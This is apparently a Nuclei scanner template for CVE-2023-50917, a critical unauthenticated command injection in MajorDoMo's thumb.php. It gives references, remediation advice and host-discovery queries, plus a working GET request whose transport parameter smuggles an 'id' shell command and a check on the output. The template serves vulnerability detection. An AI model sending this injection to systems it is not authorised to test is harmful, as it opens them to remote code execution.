MajorDoMo thumb.php - OS Command Injection

id: CVE-2023-50917

info:
  name: MajorDoMo thumb.php - OS Command Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands via shell metacharacters in the thumb.php transport parameter, potentially compromising the entire system.
  remediation: |
    Update MajorDoMo to a version newer than commit 0662e5e which addresses the command injection vulnerability.
  reference:
    - http://packetstormsecurity.com/files/176273/MajorDoMo-Remote-Code-Execution.html
    - http://seclists.org/fulldisclosure/2023/Dec/19
    - https://github.com/sergejey/majordomo/commit/0662e5ebfb133445ff6154b69c61019357092178
    - https://github.com/sergejey/majordomo/commit/3ec3ffb863ea3c2661ab27d398776c551f4daaac
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50917
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-50917
    cwe-id: CWE-77
    epss-score: 0.38263
    epss-percentile: 0.98384
    cpe: cpe:2.3:a:mjdm:majordomo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mjdm
    product: majordomo
    shodan-query: http.favicon.hash:1903390397
    fofa-query:
      - app="MajordomoSL"
      - app="majordomosl"
      - icon_hash=1903390397
  tags: packetstorm,seclists,cve,cve2023,majordomo,rce,os,mjdm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
          - 'rtsp_transport'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009cb663aca9dfa7f317e6e0eb7c20ff1e56d96d04942f4eeb683d970ca11d10ad02210083a42cf7ee57f41754c6be5e42c6a7c50dd4731e6a4a5c976965b550e8a2b1a7:922c64590222798bb761d5b6d8e72950